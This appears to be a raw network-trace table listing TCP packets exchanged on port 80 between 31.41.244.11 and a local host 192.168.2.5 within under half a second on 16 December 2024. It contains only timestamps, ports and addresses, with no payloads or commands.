Dec 16, 2024 09:01:11.402777910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.402898073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.402952909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.403775930 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.403892994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.403944969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.404778004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.404834032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.404897928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.405312061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.405752897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.405803919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.405869007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.405958891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.406761885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.406817913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.406869888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.406915903 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.407886982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.407923937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.407939911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.407974958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.408811092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.408915997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.408968925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.409743071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.409934044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.409987926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.410748959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.410800934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.410868883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.411745071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.411798000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.411798000 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.412487030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.412708044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.412755966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.412834883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.412883043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.413712025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.413764000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.413830996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.413877964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.414700985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.414805889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.414822102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.414868116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.415714025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.415761948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.415832043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.415882111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.416728973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.416794062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.416826010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.417547941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.417716980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.417761087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.417826891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.417881966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.418684006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.418740034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.418802977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.418863058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.419676065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.419732094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.419785976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.419831991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.420756102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.420811892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.420819998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.420855045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.421689987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.421744108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.421865940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.421916962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.422697067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.422748089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.422811031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.422869921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.423719883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.423775911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.423826933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.424686909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.424806118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.424850941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.425683975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.425823927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.425848961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.425868988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.426632881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.426729918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.566813946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.566880941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.566905975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.566972017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.567348957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.567404032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.567466021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.567516088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.568082094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.568131924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.568195105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.568245888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.569426060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.569475889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.569602013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.569653034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.570307970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.570354939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.570363998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.570410013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.571093082 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.571144104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.571213961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.571259022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.572127104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.572308064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.572362900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.573096037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.573148966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.573229074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.573285103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.574088097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.574136972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.574197054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.574245930 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.575069904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.575122118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.575220108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.575268984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.576131105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.576181889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.576280117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.576328993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.577060938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.577121973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.577189922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.577235937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.578035116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.578084946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.578151941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.578203917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.579046965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.579098940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.579166889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.579216957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.580035925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.580087900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.580172062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.580219984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.581058025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.581109047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.581171036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.581219912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.582029104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.582082987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.582148075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.582196951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.583033085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.583084106 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.583151102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.583199024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.584093094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.584146976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.584187984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.584234953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.585052013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.585108042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.585146904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.585195065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.586031914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.586085081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.586167097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.586215019 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.587032080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.587085962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.587156057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.587213993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.588013887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.588068008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.588124037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.588176012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.588999033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.589051962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.589133978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.589179039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.589992046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.590045929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.590116978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.590167999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.591001034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.591057062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.591125965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.591172934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.592037916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.592099905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.592134953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.592180967 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.592995882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.593053102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.593115091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.593215942 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.593976974 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.594033003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.594101906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.594149113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.594964027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.595015049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.595083952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.595132113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.596005917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.596041918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.596055031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.596087933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.596982956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.597038984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.597106934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.597155094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.597981930 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.598036051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.598120928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.598169088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.598954916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.599006891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.599091053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.599139929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.599971056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.600024939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.600064039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.600111961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.601035118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.601085901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.601089954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.601139069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.601953983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.602005959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.602091074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.602140903 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.602957010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.603007078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.603091955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.603138924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.603936911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.603988886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.604058027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.604106903 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.604943037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.604995012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.605062962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.605115891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.605930090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.605983973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.606054068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.606103897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.606965065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.607024908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.607078075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.607126951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.608104944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.608158112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.608349085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.608401060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.609133005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.609179974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.609247923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.609297991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.610043049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.610095024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.610174894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.610220909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.611336946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.611385107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.611392975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.611443996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.612040997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.612087965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.612096071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.612144947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.612917900 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.612968922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.613049030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.613249063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.614002943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.614059925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.614126921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.614176035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.614954948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.615005016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.615009069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.615055084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.615896940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.615947008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.616071939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.616121054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.616914034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.616957903 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.616990089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.617038012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.617871046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.617928982 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.618019104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.618065119 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.618812084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.618860006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.758902073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.758972883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.758980036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.759026051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.759279966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.759335041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.759413004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.759537935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.760267973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.760329008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.760371923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.760448933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.761291027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.761353970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.761425018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.761632919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.762285948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.762362003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.762397051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.762465000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.763271093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.763324976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.763366938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.763504982 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.764254093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.764307976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.764391899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.764457941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.765281916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.765337944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.765387058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.765480042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.766247988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.766303062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.766343117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.766391993 CET	49817	80	192.168.2.5	31.41.244.11
